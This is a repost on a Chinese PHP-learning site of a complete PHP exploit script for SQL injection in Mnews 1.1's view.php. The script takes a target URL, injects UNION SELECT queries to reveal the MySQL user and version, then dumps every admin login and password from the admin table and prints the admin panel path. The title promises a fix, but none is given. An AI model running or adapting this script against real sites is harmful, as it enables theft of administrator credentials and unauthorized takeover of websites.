网站地图    收藏   

主页 > 后端 > 网站安全 >

Mnews <= 1.1 (view.php) SQL注射及修复 - 网站安全

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] #65279;?php/*# 标题: Mnews = 1.1 SQL Injection# 下载地址: http://phpbrasil.com/script/eo4aWVV_zFd/mnews-sistema-de-noticias# 影响版本: 1.1# 测试系统 GNU/Linux,Windows 7 Ultimate示......

<?php
/*
# 标题: Mnews <= 1.1 SQL Injection
# 下载地址: http://phpbrasil.com/script/eo4aWVV_zFd/mnews-sistema-de-noticias
# 影响版本: 1.1
# 测试系统 GNU/Linux,Windows 7 Ultimate
 
示例
$ php mnews.php http://www.2cto.com/scripts/mnews/
 
*/
 
error_reporting(E_ERROR);
set_time_limit(0);
@ini_set("default_socket_timeout", 30);
 
function hex($string){
    $hex=''; // PHP 'Dim' =]
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return '0x'.$hex;
}
 
 
echo "\nMnews <= 1.1 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";
 
if($argc!=2) {
    echo "Usage: \n";
    echo "php $argv[0] <target url>\n";
    echo "Example:\n";
    echo "php $argv[0] http://www.2cto.com/mnews\n";
    exit;
}
 
$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
    $target .= "/";
}
$inject = $target . "view.php?id=-0'%20";
 
$token = uniqid();
$token_hex = hex($token);
 
echo "[*] Trying to get informations...\n";
$infos = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", user(), ".$token_hex.", version(), ".$token_hex."),3,4,5-- "));
$infos_r = array();
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
    echo "[*] MySQL version: $version\n";
    echo "[*] MySQL user: $user\n";
} else {
    echo "[-] Error while getting informations.\n";
}
 
echo "[*] Getting users...\n";
$i = 0;
while(true) {
    $dados_r = array();
    $dados = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", login, ".$token_hex.", senha, ".$token_hex."),3,4,5 from admin limit $i,1-- "));
    preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
    $login = $dados_r[1][0];
    $senha = $dados_r[2][0];
    if(($login) AND ($senha)) {
        echo "-+-\n";
        echo "User: $login\n";
        echo "Pass: $senha\n";
    } else {
        break;
    }
    $i++;
}
 
echo "-+-+-\n";
if($i!=0) {
    echo "[!] Admin login: {$target}gerencia/\n";
} else {
    echo "[-] Exploit failed. Make sure that's server is using a valid version of Mnews without Apache mod_security.\nWe're sorry.";
}
echo "\n";

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论